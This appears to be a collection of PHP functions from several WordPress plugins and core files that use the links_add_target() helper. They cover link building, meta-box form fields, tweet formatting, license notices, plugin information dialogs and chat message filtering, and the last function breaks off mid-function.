/** * Validate the normalize_whitespace function * * @dataProvider get_input_output */ function test_normalize_whitespace($content, $target, $tags, $exp_str) { if (true === is_null($target)) { $this->assertEquals($exp_str, links_add_target($content)); } elseif (true === is_null($tags)) { $this->assertEquals($exp_str, links_add_target($content, $target)); } else { $this->assertEquals($exp_str, links_add_target($content, $target, $tags)); } }
/** * If incoming link is empty, then get_site_url() is used instead. */ public static function create_link($link, $title = null, $target = null, $return_as_tag = true) { if (empty($link)) { $link = get_site_url(); } if (preg_match('#^\\d+$#', $link)) { $permalink = get_permalink($link); $tag_title = get_the_title($link); if (empty($title)) { $title = $tag_title; } $tag = '<a href="'; $tag .= $permalink; $tag .= '" title="'; $tag .= $tag_title; $tag .= '">'; $tag .= $title; $tag .= '</a>'; } else { $orig_link = empty($title) ? $link : $title; $do_http = true; if (0 === strpos($link, '/')) { $do_http = false; } if ($do_http && 0 === preg_match('#https?://#', $link)) { $link = 'http://' . $link; } $permalink = $link; $tag = '<a href="'; $tag .= $permalink; $tag .= '">'; $tag .= $orig_link; $tag .= '</a>'; } if (!empty($target) && is_string($target)) { $tag = links_add_target($tag, $target); } if ($return_as_tag) { return $tag; } else { return array('link' => $permalink, 'tag' => $tag); } }
/** * recives data about a form field and spits out the proper html * * @param array $field array with various bits of information about the field * @param string|int|bool|array $meta the saved data for this field * @param array $repeatable if is this for a repeatable field, contains parant id and the current integar * * @return string html for the field */ function custom_meta_box_field($field, $meta = NULL, $repeatable = NULL) { if (!($field || is_array($field))) { return; } // get field data $type = isset($field['type']) ? $field['type'] : NULL; $label = isset($field['label']) ? $field['label'] : NULL; $desc = isset($field['desc']) ? '<span class="description">' . links_add_target(make_clickable($field['desc'])) . '</span>' : NULL; $place = isset($field['place']) ? $field['place'] : NULL; $size = isset($field['size']) ? $field['size'] : NULL; $post_type = isset($field['post_type']) ? $field['post_type'] : NULL; $options = isset($field['options']) ? $field['options'] : NULL; $settings = isset($field['settings']) ? $field['settings'] : NULL; $repeatable_fields = isset($field['repeatable_fields']) ? $field['repeatable_fields'] : NULL; if (isset($field['default'])) { if (empty($meta)) { $meta = $field['default']; } } // the id and name for each field $id = $name = isset($field['id']) ? $field['id'] : NULL; if ($repeatable) { $name = $repeatable[0] . '[' . $repeatable[1] . '][' . $id . ']'; $id = $repeatable[0] . '_' . $repeatable[1] . '_' . $id; } switch ($type) { // basic case 'text': case 'tel': case 'email': default: echo '<input type="' . $type . '" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . esc_attr($meta) . '" class="regular-text" size="30" /> <br />' . $desc; break; case 'url': echo '<input type="' . $type . '" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . esc_url($meta) . '" class="regular-text" size="30" /> <br />' . $desc; break; case 'number': echo '<input type="' . $type . '" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . intval($meta) . '" class="regular-text" size="30" /> <br />' . $desc; break; // textarea // textarea case 'textarea': echo '<textarea name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" cols="60" rows="4">' . esc_textarea($meta) . '</textarea> <br />' . $desc; break; // editor // editor case 'editor': echo wp_editor($meta, $id, $settings) . '<br />' . $desc; break; // checkbox // checkbox case 'checkbox': echo '<input type="checkbox" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" ' . checked($meta, TRUE, FALSE) . ' value="1" /> <label for="' . esc_attr($id) . '">' . $desc . '</label>'; break; // select, chosen // select, chosen case 'select': case 'select2': echo '<select name="' . esc_attr($name) . '" id="' . esc_attr($id) . '"', $type == 'select2' ? ' class="select2"' : '', isset($multiple) && $multiple == TRUE ? ' multiple="multiple"' : '', '> <option value="">Select One</option>'; // Select One foreach ($options as $key => $option) { echo '<option' . selected($meta, $key, FALSE) . ' value="' . $key . '">' . $option . '</option>'; } echo '</select><br />' . $desc; break; // radio // radio case 'radio': echo '<ul class="meta_box_items">'; foreach ($options as $key => $option) { echo '<li> <input type="radio" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '-' . $key . '" value="' . $key . '" ' . checked($meta, $key, FALSE) . ' /> <label for="' . esc_attr($id) . '-' . $key . '">' . $option . '</label></li>'; } echo '</ul>' . $desc; break; // checkbox_group // checkbox_group case 'checkbox_group': echo '<ul class="meta_box_items">'; foreach ($options as $option) { echo '<li><input type="checkbox" value="' . $option['value'] . '" name="' . esc_attr($name) . '[]" id="' . esc_attr($id) . '-' . $option['value'] . '"', is_array($meta) && in_array($option['value'], $meta) ? ' checked="checked"' : '', ' /> <label for="' . esc_attr($id) . '-' . $option['value'] . '">' . $option['label'] . '</label></li>'; } echo '</ul>' . $desc; break; // color // color case 'color_old': $meta = $meta ? $meta : '#'; echo '<input type="text" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . $meta . '" size="10" /> <br />' . $desc; echo '<div id="colorpicker-' . esc_attr($id) . '"></div> <script type="text/javascript"> jQuery(function(jQuery) { jQuery("#colorpicker-' . esc_attr($id) . '").hide(); jQuery("#colorpicker-' . esc_attr($id) . '").farbtastic("#' . esc_attr($id) . '"); jQuery("#' . esc_attr($id) . '").bind("blur", function() { jQuery("#colorpicker-' . esc_attr($id) . '").slideToggle(); } ); jQuery("#' . esc_attr($id) . '").bind("focus", function() { jQuery("#colorpicker-' . esc_attr($id) . '").slideToggle(); } ); }); </script>'; break; // color // color case 'color': //$meta = $meta ? $meta : '#'; echo ' <input type="text" class="metacolorpicker" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . $meta . '" class="my-color-field" data-default-color="' . $meta . '" /> <br />' . $desc; break; // post_select, post_chosen // post_select, post_chosen case 'post_select': case 'post_list': case 'post_select2': echo '<select data-placeholder="Select One" name="' . esc_attr($name) . '[]" id="' . esc_attr($id) . '"', $type == 'post_select2' ? ' class="select2"' : '', isset($multiple) && $multiple == TRUE ? ' multiple="multiple"' : '', '> <option value=""></option>'; // Select One $posts = get_posts(array('post_type' => $post_type, 'posts_per_page' => -1, 'orderby' => 'name', 'order' => 'ASC')); foreach ($posts as $item) { echo '<option value="' . $item->ID . '"' . selected(is_array($meta) && in_array($item->ID, $meta), TRUE, FALSE) . '>' . $item->post_title . '</option>'; } $post_type_object = get_post_type_object($post_type); echo '</select> <span class="description"><a href="' . admin_url('edit.php?post_type=' . $post_type . '">Manage ' . $post_type_object->label) . '</a></span><br />' . $desc; break; // post_checkboxes // post_checkboxes case 'post_checkboxes': $posts = get_posts(array('post_type' => $post_type, 'posts_per_page' => -1)); echo '<ul class="meta_box_items">'; foreach ($posts as $item) { echo '<li><input type="checkbox" value="' . $item->ID . '" name="' . esc_attr($name) . '[]" id="' . esc_attr($id) . '-' . $item->ID . '"', is_array($meta) && in_array($item->ID, $meta) ? ' checked="checked"' : '', ' /> <label for="' . esc_attr($id) . '-' . $item->ID . '">' . $item->post_title . '</label></li>'; } $post_type_object = get_post_type_object($post_type); echo '</ul> ' . $desc, ' <span class="description"><a href="' . admin_url('edit.php?post_type=' . $post_type . '">Manage ' . $post_type_object->label) . '</a></span>'; break; // post_drop_sort // post_drop_sort case 'post_drop_sort': //areas $post_type_object = get_post_type_object($post_type); echo '<p>' . $desc . ' <span class="description"><a href="' . admin_url('edit.php?post_type=' . $post_type . '">Manage ' . $post_type_object->label) . '</a></span></p><div class="post_drop_sort_areas">'; foreach ($areas as $area) { echo '<ul id="area-' . $area['id'] . '" class="sort_list"> <li class="post_drop_sort_area_name">' . $area['label'] . '</li>'; if (is_array($meta)) { $items = explode(',', $meta[$area['id']]); foreach ($items as $item) { $output = $display == 'thumbnail' ? get_the_post_thumbnail($item, array(204, 30)) : get_the_title($item); echo '<li id="' . $item . '">' . $output . '</li>'; } } echo '</ul> <input type="hidden" name="' . esc_attr($name) . '[' . $area['id'] . ']" class="store-area-' . $area['id'] . '" value="', $meta ? $meta[$area['id']] : '', '" />'; } echo '</div>'; // source $exclude = NULL; if (!empty($meta)) { $exclude = implode(',', $meta); // because each ID is in a unique key $exclude = explode(',', $exclude); // put all the ID's back into a single array } $posts = get_posts(array('post_type' => $post_type, 'posts_per_page' => -1, 'post__not_in' => $exclude)); echo '<ul class="post_drop_sort_source sort_list"> <li class="post_drop_sort_area_name">Available ' . $label . '</li>'; foreach ($posts as $item) { $output = $display == 'thumbnail' ? get_the_post_thumbnail($item->ID, array(204, 30)) : get_the_title($item->ID); echo '<li id="' . $item->ID . '">' . $output . '</li>'; } echo '</ul>'; break; // tax_select // tax_select case 'tax_select': echo '<select name="' . esc_attr($name) . '" id="' . esc_attr($id) . '"> <option value="">Select One</option>'; // Select One $terms = get_terms($id, 'get=all'); $post_terms = wp_get_object_terms(get_the_ID(), $id); $taxonomy = get_taxonomy($id); $selected = $post_terms ? $taxonomy->hierarchical ? $post_terms[0]->term_id : $post_terms[0]->slug : NULL; foreach ($terms as $term) { $term_value = $taxonomy->hierarchical ? $term->term_id : $term->slug; echo '<option value="' . $term_value . '"' . selected($selected, $term_value, FALSE) . '>' . $term->name . '</option>'; } echo '</select> <span class="description"><a href="' . get_bloginfo('url') . '/wp-admin/edit-tags.php?taxonomy=' . $id . '">Manage ' . $taxonomy->label . '</a></span> <br />' . $desc; break; // tax_checkboxes // tax_checkboxes case 'tax_checkboxes': $terms = get_terms($id, 'get=all'); $post_terms = wp_get_object_terms(get_the_ID(), $id); $taxonomy = get_taxonomy($id); $checked = $post_terms ? $taxonomy->hierarchical ? $post_terms[0]->term_id : $post_terms[0]->slug : NULL; foreach ($terms as $term) { $term_value = $taxonomy->hierarchical ? $term->term_id : $term->slug; echo '<input type="checkbox" value="' . $term_value . '" name="' . $id . '[]" id="term-' . $term_value . '"' . checked($checked, $term_value, FALSE) . ' /> <label for="term-' . $term_value . '">' . $term->name . '</label><br />'; } echo '<span class="description">' . $field['desc'] . ' <a href="' . get_bloginfo('url') . '/wp-admin/edit-tags.php?taxonomy=' . $id . '&post_type=' . $page . '">Manage ' . $taxonomy->label . '</a></span>'; break; // date // date case 'date': echo '<input type="text" class="datepicker" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . $meta . '" size="30" /> <br />' . $desc; break; // slider // slider case 'slider': $value = $meta != '' ? intval($meta) : '0'; echo '<div id="' . esc_attr($id) . '-slider"></div> <input type="text" name="' . esc_attr($name) . '" id="' . esc_attr($id) . '" value="' . $value . '" size="5" /> <br />' . $desc; break; // image // image case 'image': $image = CUSTOM_METABOXES_DIR . '/images/image.png'; echo '<div class="meta_box_image"><span class="meta_box_default_image" style="display:none">' . $image . '</span>'; if ($meta) { $image = wp_get_attachment_image_src(intval($meta), 'medium'); $image = $image[0]; } echo '<input name="' . esc_attr($name) . '" type="hidden" class="meta_box_upload_image" value="' . intval($meta) . '" /> <img src="' . esc_attr($image) . '" class="meta_box_preview_image" alt="" /> <a href="#" class="meta_box_upload_image_button button" rel="' . get_the_ID() . '">Choose Image</a> <small> <a href="#" class="meta_box_clear_image_button">Remove Image</a></small></div> <br clear="all" />' . $desc; break; // file // file // file // file case 'file': case 'media': $iconClass = 'meta_box_file'; if ($meta) { $iconClass .= ' checked'; } echo ' <div class="meta_box_file_stuff"> <input name="' . esc_attr($name) . '" type="hidden" class="meta_box_upload_media" value="' . $meta . '" /> <span class="' . $iconClass . '"></span> <a href="#" class="meta_box_upload_media_button button">Choose Media</a> <small> <a href="#" class="meta_box_clear_file_button">Remove</a></small> </div> <br clear="all" />' . $desc; break; // gallery // gallery case 'gallery': $ids = $meta; ?> <table class="form-table gallery-metabox" data-name="<?php echo esc_attr($name); ?> "> <tr> <td> <a class="gallery-add button" href="#" data-uploader-title="Add image(s) to gallery" data-uploader-button-text="Add image(s)">Add image(s)</a> <ul class="gallery-metabox-list"> <?php if ($ids) { foreach ($ids as $key => $value) { $image = wp_get_attachment_image_src($value); ?> <li class="gallery-metabox-list-li"> <input type="hidden" name="<?php echo esc_attr($name); ?> [<?php echo $key; ?> ]" value="<?php echo $value; ?> "> <img class="image-preview" src="<?php echo $image[0]; ?> "> <a class="change-image button button-small" href="#" data-uploader-title="Change image" data-uploader-button-text="Change image">Change image</a><br> <small><a class="remove-image" href="#">Remove image</a></small> </li> <?php } } ?> </ul> </td> </tr> </table> <?php break; // repeatable // repeatable case 'repeatable': echo '<table id="' . esc_attr($id) . '-repeatable" class="meta_box_repeatable" cellspacing="0"> <thead> <tr> <th><span class="sort_label"></span></th> <th>Fields</th> <th><a class="meta_box_repeatable_add" href="#"></a></th> </tr> </thead> <tbody>'; $i = 0; // create an empty array if ($meta == '' || $meta == array()) { $keys = wp_list_pluck($repeatable_fields, 'id'); $meta = array(array_fill_keys($keys, NULL)); } $meta = array_values($meta); foreach ($meta as $row) { echo '<tr> <td><span class="sort hndle"></span></td><td>'; foreach ($repeatable_fields as $repeatable_field) { if (!array_key_exists($repeatable_field['id'], $meta[$i])) { $meta[$i][$repeatable_field['id']] = NULL; } echo '<label>' . $repeatable_field['label'] . '</label><p>'; echo custom_meta_box_field($repeatable_field, $meta[$i][$repeatable_field['id']], array($id, $i)); echo '</p>'; } // end each field echo '</td><td><a class="meta_box_repeatable_remove" href="#"></a></td></tr>'; $i++; } // end each row echo '</tbody>'; echo ' <tfoot> <tr> <th><span class="sort_label"></span></th> <th>Fields</th> <th><a class="meta_box_repeatable_add" href="#"></a></th> </tr> </tfoot>'; echo '</table> ' . $desc; break; // icons // icons // icons // icons case 'icons': add_thickbox(); echo '<ul class="meta_box_items icons">'; // echo '<li class="hippo-metabox-label"><label class="label">' . $label . '</label></li>'; echo '<li class="preview-icon"><i class="' . $meta . '"></i></li> <li class="icon-input"><input type="text" class="hidden-textbox" name="' . esc_attr($name) . '" value="' . $meta . '" /></li> <li class="icon-selector-box"> <a title="Select Icon" href="#TB_inline?width=600&height=450&inlineId=icon-' . esc_attr($id) . '" class="meta-icon-selector "> Select </a> <a href="" class="meta-icon-remove" style="display:' . ($meta == '' ? 'none' : '') . '" > Remove </a> </li> <li id="icon-' . esc_attr($id) . '" style="display:none;"> <div class="meta-icon-meta-box">'; foreach ($options as $key => $option) { echo ' <label for="' . esc_attr($id) . '-' . $option . '" class="' . ($meta == $key ? 'selected' : '') . '"> <input type="radio" id="' . esc_attr($id) . '-' . $option . '" value="' . $key . '" ' . checked($meta, $key, FALSE) . ' /> <i class="' . $key . '"></i> </label>'; } echo '</div></li>'; echo '</ul>'; echo '<span class="description">' . $desc . '</span>'; break; } //end switch }
public function format() { $this->tweet = links_add_target(make_clickable(esc_html($this->resource->text))); $this->tweet = preg_replace_callback('/(^|[^0-9A-Z&\\/]+)(#|\\xef\\xbc\\x83)([0-9A-Z_]*[A-Z_]+[a-z0-9_\\xc0-\\xd6\\xd8-\\xf6\\xf8\\xff]*)/iu', 'Sneek\\Twitter\\Presenter::hashtag', $this->tweet); $this->tweet = preg_replace_callback('/([^a-zA-Z0-9_]|^)([@\\xef\\xbc\\xa0]+)([a-zA-Z0-9_]{1,20})(\\/[a-zA-Z][a-zA-Z0-9\\x80-\\xff-]{0,79})?/u', 'Sneek\\Twitter\\Presenter::username', $this->tweet); }
function aihr_notice_license($post_type, $settings_id, $free_name, $purchase_url, $item_name, $product_id = null, $license = null, $disable_license_notice = null) { if ($disable_license_notice) { return; } if (empty($post_type)) { $link = get_admin_url() . 'options-general.php?page=' . $settings_id; } else { $link = get_admin_url() . 'edit.php?post_type=' . $post_type . '&page=' . $settings_id; } $text = __('<a href="%1$s">%2$s > Settings</a>, <em>Premium</em> tab, <em>License Key</em>'); $settings_link = sprintf($text, $link, $free_name); $link = esc_url('https://nodedesk.zendesk.com/hc/en-us/articles/202333071'); $text = __('<a href="%s">Where\'s my license key?</a>'); $faq_link = sprintf($text, $link); $link = esc_url($purchase_url); $text = __('<a href="%1$s">Purchase</a>'); $buy_link = sprintf($text, $link, $item_name); $renew_link = ''; if (!empty($license)) { $link = parse_url($purchase_url); $link = $link['host']; $text = __('%1$s/checkout/?edd_license_key=%2$s&download_id=%3$s'); $renew_url = sprintf($text, $link, $license, $product_id); $link = esc_url($renew_url); $text = __('<a href="%1$s">Renew</a> or '); $renew_link = sprintf($text, $link, $item_name); } $text = sprintf(__('Plugin "%1$s" requires license activation for software updates and support. Please activate the license via %2$s. See %3$s for help. Alternately, %5$s%4$s a %1$s license.'), $item_name, $settings_link, $faq_link, $buy_link, $renew_link); $text = links_add_target($text, '_blank'); aihr_notice_error($text); }
/** * Display plugin information in dialog box form. * * @since 2.7.0 */ function install_plugin_information() { global $tab; $api = plugins_api('plugin_information', array('slug' => stripslashes($_REQUEST['plugin']))); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); //Sanitize HTML foreach ((array) $api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } $section = isset($_REQUEST['section']) ? stripslashes($_REQUEST['section']) : 'description'; //Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section = array_shift($section_titles = array_keys((array) $api->sections)); } iframe_header(__('Plugin Install')); echo "<div id='{$tab}-header'>\n"; echo "<ul id='sidemenu'>\n"; foreach ((array) $api->sections as $section_name => $content) { $title = $section_name; $title = ucwords(str_replace('_', ' ', $title)); $class = $section_name == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = clean_url($href); $san_title = attribute_escape(sanitize_title_with_dashes($title)); echo "\t<li><a name='{$san_title}' target='' href='{$href}'{$class}>{$title}</a></li>\n"; } echo "</ul>\n"; echo "</div>\n"; ?> <div class="alignright fyi"> <?php if (!empty($api->download_link)) { ?> <p class="action-button"> <?php //Default to a "new" plugin $type = 'install'; //Check to see if this plugin is known to be installed, and has an update awaiting it. $update_plugins = get_option('update_plugins'); foreach ((array) $update_plugins->response as $file => $plugin) { if ($plugin->slug === $api->slug) { $type = 'update_available'; $update_file = $file; break; } } if ('install' == $type && is_dir(WP_PLUGIN_DIR . '/' . $api->slug)) { $installed_plugin = get_plugins('/' . $api->slug); if (!empty($installed_plugin)) { $key = array_shift($key = array_keys($installed_plugin)); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers if (version_compare($api->version, $installed_plugin[$key]['Version'], '>')) { $type = 'latest_installed'; } elseif (version_compare($api->version, $installed_plugin[$key]['Version'], '<')) { $type = 'newer_installed'; $newer_version = $installed_plugin[$key]['Version']; } else { //If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh delete_option('update_plugins'); $update_file = $api->slug . '/' . $key; //This code branch only deals with a plugin which is in a folder the same name as its slug, Doesnt support plugins which have 'non-standard' names $type = 'update_available'; } } } switch ($type) { default: case 'install': if (current_user_can('install_plugins')) { ?> <a href="<?php echo wp_nonce_url(admin_url('plugin-install.php?tab=install&plugin=' . $api->slug), 'install-plugin_' . $api->slug); ?> " target="_parent"><?php _e('Install Now'); ?> </a><?php } break; case 'update_available': if (current_user_can('update_plugins')) { ?> <a href="<?php echo wp_nonce_url(admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file); ?> " target="_parent"><?php _e('Install Update Now'); ?> </a><?php } break; case 'newer_installed': if (current_user_can('install_plugins') || current_user_can('update_plugins')) { ?> <a><?php printf(__('Newer Version (%s) Installed'), $newer_version); ?> </a><?php } break; case 'latest_installed': if (current_user_can('install_plugins') || current_user_can('update_plugins')) { ?> <a><?php _e('Latest Version Installed'); ?> </a><?php } break; } ?> </p> <?php } ?> <h2 class="mainheader"><?php _e('FYI'); ?> </h2> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "><?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug)) { ?> <li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a></li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo $api->homepage; ?> "><?php _e('Plugin Homepage »'); ?> </a></li> <?php } ?> </ul> <h2><?php _e('Average Rating'); ?> </h2> <div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> "> <div class="star star-rating" style="width: <?php echo attribute_escape($api->rating); ?> px"></div> <div class="star star5"><img src="<?php echo admin_url('images/star.gif'); ?> " alt="<?php _e('5 stars'); ?> " /></div> <div class="star star4"><img src="<?php echo admin_url('images/star.gif'); ?> " alt="<?php _e('4 stars'); ?> " /></div> <div class="star star3"><img src="<?php echo admin_url('images/star.gif'); ?> " alt="<?php _e('3 stars'); ?> " /></div> <div class="star star2"><img src="<?php echo admin_url('images/star.gif'); ?> " alt="<?php _e('2 stars'); ?> " /></div> <div class="star star1"><img src="<?php echo admin_url('images/star.gif'); ?> " alt="<?php _e('1 star'); ?> " /></div> </div> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { $title = $section_name; $title[0] = strtoupper($title[0]); $title = str_replace('_', ' ', $title); $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_title = attribute_escape(sanitize_title_with_dashes($title)); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_title}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; iframe_footer(); exit; }
function chat_message_send() { $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; if (!isset($_POST['chat_messages']) || !count($_POST['chat_messages'])) { $reply_data['errorText'] = "chat_messages missing"; $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } // Double check the user's authentication. Seems some users can login with multiple tabs. If they log out of one tab they // should not be able to post via the other tab. if (!isset($this->chat_auth['type'])) { $reply_data['errorText'] = "Unknown user type"; $reply_data['errorStatus'] = true; wp_send_json($reply_data); die; } foreach ($_POST['chat_messages'] as $chat_id => $chat_messages) { if (!isset($this->chat_sessions[$chat_id])) { continue; } if (!is_array($chat_messages) || !count($chat_messages)) { continue; } $chat_session = $this->chat_sessions[$chat_id]; if (!isset($reply_data['chat_messages'][$chat_id])) { $reply_data['chat_messages'][$chat_id] = array(); } foreach ($chat_messages as $chat_message_idx => $chat_message) { $reply_data['chat_messages'][$chat_id][$chat_message_idx] = false; //$chat_message = urldecode($chat_message); $chat_message = stripslashes($chat_message); // Replace the chr(10) Line feed (not the chr(13) carraige return) with a placeholder. Will be replaced with // real <br /> after filtering This is done so when we convert text within [code][/code] the <br /> are not // converted to entities. Because we want the code to be formatted $chat_message = str_replace(chr(10), "[[CR]]", $chat_message); // In case the user entered HTML <code></code> instead of [code][/code] $chat_message = str_replace("<code>", "[code]", $chat_message); $chat_message = str_replace("</code>", "[/code]", $chat_message); // We also can accept backtick quoted text and convert to [code][/code] $chat_message = preg_replace('/`(.*?)`/', '[code]$1[/code]', $chat_message); // Now split out the [code][/code] sections. //preg_match_all("|\[code\](.*)\[/code\]|s", $chat_message, $code_out); preg_match_all("~\\[code\\](.+?)\\[/code\\]~si", $chat_message, $code_out); if ($code_out && is_array($code_out) && is_array($code_out[0]) && count($code_out[0])) { foreach ($code_out[0] as $code_idx => $code_str_original) { if (!isset($code_out[1][$code_idx])) { continue; } // Here we replace our [code][/code] block or text in the message with placeholder [code-XXX] where XXX // is the index (0,1,2,3, etc.) Again we do this because in the next step we will strip out all HTML not // allowed. We want to protect any HTML within the code block // which will be converted to HTML entities after the filtering. $chat_message = str_replace($code_str_original, '[code-' . $code_idx . ']', $chat_message); } } // First strip all the tags! $allowed_protocols = array(); $allowed_html = array(); $chat_message = wp_kses($chat_message, $allowed_html, $allowed_protocols); // Not needed since we remove all HTML from the message. For now. //$chat_message = balanceTags($chat_message); // If the user enters something that liiks like a link (http://, ftp://, etc) it will be made clickable // in that is will be wrapped in an anchor, etc. The the link tarket will be set so clicking it will open // in a new window $chat_message = links_add_target(make_clickable($chat_message)); // Now that we can filtered the text outside the [code][/code] we want to convert the code section HTML to entities since it // will be viewed that way by other users. if ($code_out && is_array($code_out) && is_array($code_out[0]) && count($code_out[0])) { foreach ($code_out[0] as $code_idx => $code_str_original) { if (!isset($code_out[1][$code_idx])) { continue; } $code_str_replace = "<code>" . htmlentities2($code_out[1][$code_idx], ENT_QUOTES | ENT_XHTML) . "</code>"; $chat_message = str_replace('[code-' . $code_idx . ']', $code_str_replace, $chat_message); } } // Finally convert any of our CR placeholders to HTML breaks. $chat_message = str_replace("[[CR]]", '<br />', $chat_message); // Just as a precaution. After processing we may end up with double breaks. So we convert to single. $chat_message = str_replace("<br /><br />", '<br />', $chat_message); // End message filtering if ($chat_message == '') { continue; } // Truncate the message IF the max length is set if (!wpmudev_chat_is_moderator($chat_session)) { if ($chat_session['row_message_input_length'] > 0 && strlen($chat_message) > $chat_session['row_message_input_length']) { $chat_message = substr($chat_message, 0, $chat_session['row_message_input_length']); } } // Process bad words, if enabled if ($chat_session['blocked_words_active'] == "enabled") { $chat_message = str_ireplace($this->_chat_options['banned']['blocked_words'], $this->_chat_options['banned']['blocked_words_replace'], $chat_message); } $ret = $this->chat_session_send_message($chat_message, $chat_session); if (!empty($ret)) { $reply_data['chat_messages'][$chat_id][$chat_message_idx] = true; } if ($chat_session['session_type'] == 'private' && $this->_chat_options['site']['private_reopen_after_exit'] == 'enabled') { $this->wpmudev_chat_set_private_archive_status($chat_session); } } } wp_send_json($reply_data); die; }
protected static function info($plugin) { global $tab; require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; define('IFRAME_REQUEST', true); try { if (Sputnik::account_is_linked()) { $account = Sputnik::get_account(); $api = Sputnik::get_plugin($plugin, $account->ID); } else { $api = Sputnik::get_plugin($plugin); } } catch (Exception $e) { status_header(500); iframe_header(__('Plugin Install', 'wpsc')); echo $e->getMessage(); iframe_footer(); die; } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title', 'wpsc'), 'installation' => _x('Installation', 'Plugin installer section title', 'wpsc'), 'faq' => _x('FAQ', 'Plugin installer section title', 'wpsc'), 'screenshots' => _x('Screenshots', 'Plugin installer section title', 'wpsc'), 'changelog' => _x('Changelog', 'Plugin installer section title', 'wpsc'), 'other_notes' => _x('Other Notes', 'Plugin installer section title', 'wpsc')); //Sanitize HTML $api->sections = isset($api->sections) ? (array) $api->sections : array(); $api->author = links_add_target($api->author, '_blank'); foreach ($api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } $api->screenshots = (array) $api->screenshots; foreach ($api->screenshots as &$data) { if (!isset($data->caption) || !isset($data->location)) { continue; } $data->caption = wp_kses($data->caption, $plugins_allowedtags); $data->location = esc_url($data->location, array('http', 'https')); } unset($data); foreach (array('version', 'requires', 'tested', 'homepage', 'downloaded', 'slug', 'requires_wpec', 'tested_wpec') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } $section = isset($_REQUEST['section']) ? stripslashes($_REQUEST['section']) : 'description'; //Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section]) && ($section !== 'screenshots' || empty($api->screenshots))) { $section = array_shift($section_titles = array_keys((array) $api->sections)); } global $body_id; $body_id = 'sputnik-plugin-information'; 